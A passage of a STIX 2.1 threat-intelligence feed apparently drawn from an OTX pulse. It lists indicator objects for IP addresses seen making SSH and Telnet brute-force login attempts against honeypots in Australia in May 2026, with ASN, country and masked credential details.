      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 202015. Organisation(s): HZ Hosting Ltd.",
      "id": "indicator--dca30a04-2505-417d-8f00-82eef1147302",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '98.142.240.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T08:15:10.000Z",
      "valid_until": "2026-06-21T08:15:08.000Z"
    },
    {
      "created": "2026-05-20T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd.",
      "id": "indicator--9c090999-a6c5-469b-8d5e-94bb7aadabe5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.13.206.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T09:15:11.000Z",
      "valid_until": "2026-06-21T09:15:08.000Z"
    },
    {
      "created": "2026-05-20T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131366. Organisation(s): Lanit Technology and Communication Joint Stock Company. Usernames observed (masked): r**t, 3**********4, ***, b*****r, c****e. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1***9, 1******r.",
      "id": "indicator--85fc5268-81dd-48e0-9294-c55e9afc1e20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.146.23.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T09:15:11.000Z",
      "valid_until": "2026-06-21T09:15:08.000Z"
    },
    {
      "created": "2026-05-20T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--cbeb04a4-1df5-45b7-aeb4-69b1db0f6a0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.245.140.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T09:15:11.000Z",
      "valid_until": "2026-06-21T09:15:08.000Z"
    },
    {
      "created": "2026-05-20T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 138169. Organisation(s): China Telecom.",
      "id": "indicator--527fc662-a6a7-46a7-a66a-dcd52f947986",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.109.111.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T09:15:11.000Z",
      "valid_until": "2026-06-21T09:15:08.000Z"
    },
    {
      "created": "2026-05-20T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--75c076a4-8f33-43d3-9b0a-9d03fb3b9d4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.35.49.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T09:15:11.000Z",
      "valid_until": "2026-06-21T09:15:08.000Z"
    },
    {
      "created": "2026-05-20T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--631398af-97ed-49c6-8a41-e92f11066b77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.21.24.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T09:15:11.000Z",
      "valid_until": "2026-06-21T09:15:08.000Z"
    },
    {
      "created": "2026-05-20T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GH. ASN(s): 29614. Organisation(s): VODAFONE GHANA AS INTERNATIONAL TRANSIT. Usernames observed (masked): r**t, 3**********4, ***, b*****r, c****e. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1***9, 1******r.",
      "id": "indicator--5374f50e-f9b7-4547-9699-958130cec46b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.204.63.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T09:15:11.000Z",
      "valid_until": "2026-06-21T09:15:08.000Z"
    },
    {
      "created": "2026-05-20T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 21453. Organisation(s): Flex Ltd..",
      "id": "indicator--9fbbd489-a6c6-489f-b9b9-1c922bffe6b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.183.122.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T09:15:11.000Z",
      "valid_until": "2026-06-21T09:15:08.000Z"
    },
    {
      "created": "2026-05-20T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--7a48fac1-d60d-4853-a0d7-4726a7319168",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.84.47.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T09:15:11.000Z",
      "valid_until": "2026-06-21T09:15:08.000Z"
    },
    {
      "created": "2026-05-20T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--d4c71dba-9f88-477e-84e0-09decdc7b5f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.236.83.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T10:15:12.000Z",
      "valid_until": "2026-06-21T10:15:08.000Z"
    },
    {
      "created": "2026-05-20T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--edfd9117-2cf4-4b28-8077-7625ba01adc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.102.221.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T10:15:12.000Z",
      "valid_until": "2026-06-21T10:15:08.000Z"
    },
    {
      "created": "2026-05-20T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c6461127-868c-4769-8d58-d78194d656bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.99.250.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T10:15:12.000Z",
      "valid_until": "2026-06-21T10:15:08.000Z"
    },
    {
      "created": "2026-05-20T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--fb4acf09-9208-43b9-91dc-935ddb5f2d0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.2.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T10:15:12.000Z",
      "valid_until": "2026-06-21T10:15:08.000Z"
    },
    {
      "created": "2026-05-20T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CH. ASN(s): 402253. Organisation(s): SKN Subnet & Telecom Ltd.",
      "id": "indicator--7efa18f0-7e47-406b-aa1d-6f83fcdc4f27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.99.184.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T10:15:12.000Z",
      "valid_until": "2026-06-21T10:15:08.000Z"
    },
    {
      "created": "2026-05-20T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 6697. Organisation(s): Republican Unitary Telecommunication Enterprise Beltelecom.",
      "id": "indicator--8772ad49-1752-4b67-9d93-8781d01a03f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.45.53.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T10:15:12.000Z",
      "valid_until": "2026-06-21T10:15:08.000Z"
    },
    {
      "created": "2026-05-20T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--a154f0ae-80da-4e9c-abf0-fb247b8531f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '40.124.175.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T10:15:12.000Z",
      "valid_until": "2026-06-21T10:15:08.000Z"
    },
    {
      "created": "2026-05-20T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U****************************************************************************************0. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--4ea05228-b316-4d56-a5d0-cffdabc7438c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T10:15:12.000Z",
      "valid_until": "2026-06-21T10:15:08.000Z"
    },
    {
      "created": "2026-05-20T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--64966f7d-5425-4b20-b677-59a9b033cbbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.246.231.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T10:15:12.000Z",
      "valid_until": "2026-06-21T10:15:08.000Z"
    },
    {
      "created": "2026-05-20T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--37c541cb-9a44-4d99-9f97-a32bcf9103d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.80.190.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T10:15:12.000Z",
      "valid_until": "2026-06-21T10:15:08.000Z"
    },
    {
      "created": "2026-05-20T12:15:37.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 139988. Organisation(s): PT. GARUDA PRIMA INTERNETINDO. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 1**********$, 1****8, 3***********4, 3**********4, A********5.",
      "id": "indicator--7dd89a16-02e1-46a8-a76e-a101ed7dcf8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T12:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.148.100.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:15:37.000Z",
      "valid_until": "2026-06-21T12:15:08.000Z"
    },
    {
      "created": "2026-05-20T12:15:37.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 135258. Organisation(s): Sdh Network Pvt Ltd. Usernames observed (masked): r**t. Passwords observed (masked): 1*******9, 2**9, A********3, c***o, c*********3.",
      "id": "indicator--b14afeed-9bd9-4ac5-ae4a-e90d9e27b674",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T12:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.70.40.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:15:37.000Z",
      "valid_until": "2026-06-21T12:15:08.000Z"
    },
    {
      "created": "2026-05-20T12:15:37.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--69185f53-f564-4798-99db-aee1540be172",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T12:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.177.99.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:15:37.000Z",
      "valid_until": "2026-06-21T12:15:08.000Z"
    },
    {
      "created": "2026-05-20T12:15:37.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--ed179786-de9c-47bb-bc1c-d82d09fc6ca9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T12:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.242.152.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:15:37.000Z",
      "valid_until": "2026-06-21T12:15:08.000Z"
    },
    {
      "created": "2026-05-20T12:15:37.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--25234bbc-e9b8-46e9-95c1-df9c2448d0a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T12:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.220.47.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:15:37.000Z",
      "valid_until": "2026-06-21T12:15:08.000Z"
    },
    {
      "created": "2026-05-20T12:15:37.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--81657f92-91d6-4c85-af3f-4b6aecd76ff7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T12:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.40.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:15:37.000Z",
      "valid_until": "2026-06-21T12:15:08.000Z"
    },
    {
      "created": "2026-05-20T12:15:37.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC.",
      "id": "indicator--6a4f2be6-7cdf-4e28-bb93-edf3ed9fcc13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T12:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.86.73.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:15:37.000Z",
      "valid_until": "2026-06-21T12:15:08.000Z"
    },
    {
      "created": "2026-05-20T12:15:37.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2c26ea14-d3be-4854-962a-976492c48ede",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T12:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.8.128.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:15:37.000Z",
      "valid_until": "2026-06-21T12:15:08.000Z"
    },
    {
      "created": "2026-05-20T12:15:37.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--62d1e7c8-be31-4817-bc4a-def5e3612cf2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T12:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.35.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:15:37.000Z",
      "valid_until": "2026-06-21T12:15:08.000Z"
    },
    {
      "created": "2026-05-20T12:15:37.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--99ba0971-4037-42b4-8b0f-9f838a5b7a59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T12:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.95.234.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:15:37.000Z",
      "valid_until": "2026-06-21T12:15:08.000Z"
    },
    {
      "created": "2026-05-20T12:15:37.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--78b36540-ea30-4a2a-8821-f21a28877b41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T12:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:15:37.000Z",
      "valid_until": "2026-06-21T12:15:08.000Z"
    },
    {
      "created": "2026-05-20T12:15:37.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 6810. Organisation(s): Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD.. Usernames observed (masked): a***n, r**t, 1**4, a***c, d*****t. Passwords observed (masked): a***n, 0**0, 1**4, 1***5, ***.",
      "id": "indicator--d8df5015-5aa4-464e-a2fb-abd31223afd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T12:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.130.237.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:15:37.000Z",
      "valid_until": "2026-06-21T12:15:08.000Z"
    },
    {
      "created": "2026-05-20T12:15:37.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 12332. Organisation(s): Rostelecom. Usernames observed (masked): r**t. Passwords observed (masked): !*******#, 0****e, A******6, a****f, b*****n.",
      "id": "indicator--9c699409-c7e0-4595-8f77-bc27c3d1f0ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T12:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.102.131.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:15:37.000Z",
      "valid_until": "2026-06-21T12:15:08.000Z"
    },
    {
      "created": "2026-05-20T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 141421. Organisation(s): MUX BROADBAND PRIVATE LIMITED.",
      "id": "indicator--b6a64034-5586-4b06-a212-7a0435157d59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.84.57.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:15:12.000Z",
      "valid_until": "2026-06-21T13:15:08.000Z"
    },
    {
      "created": "2026-05-20T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7ee25da6-24a5-4d99-bafc-8d311fa13092",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.207.109.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:15:12.000Z",
      "valid_until": "2026-06-21T13:15:08.000Z"
    },
    {
      "created": "2026-05-20T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a********4.",
      "id": "indicator--854c8039-6d68-4880-b778-e887a3273bf8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T13:15:12.000Z",
